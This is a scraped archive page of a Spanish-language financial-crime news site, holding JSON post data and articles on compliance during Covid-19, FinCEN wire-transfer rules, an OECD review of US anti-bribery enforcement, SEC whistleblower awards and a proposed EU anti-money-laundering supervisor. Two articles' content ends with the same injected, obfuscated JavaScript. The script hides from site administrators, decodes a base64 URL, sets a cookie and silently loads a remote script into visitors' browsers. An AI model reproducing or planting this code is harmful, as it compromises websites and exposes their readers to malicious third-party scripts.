deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el 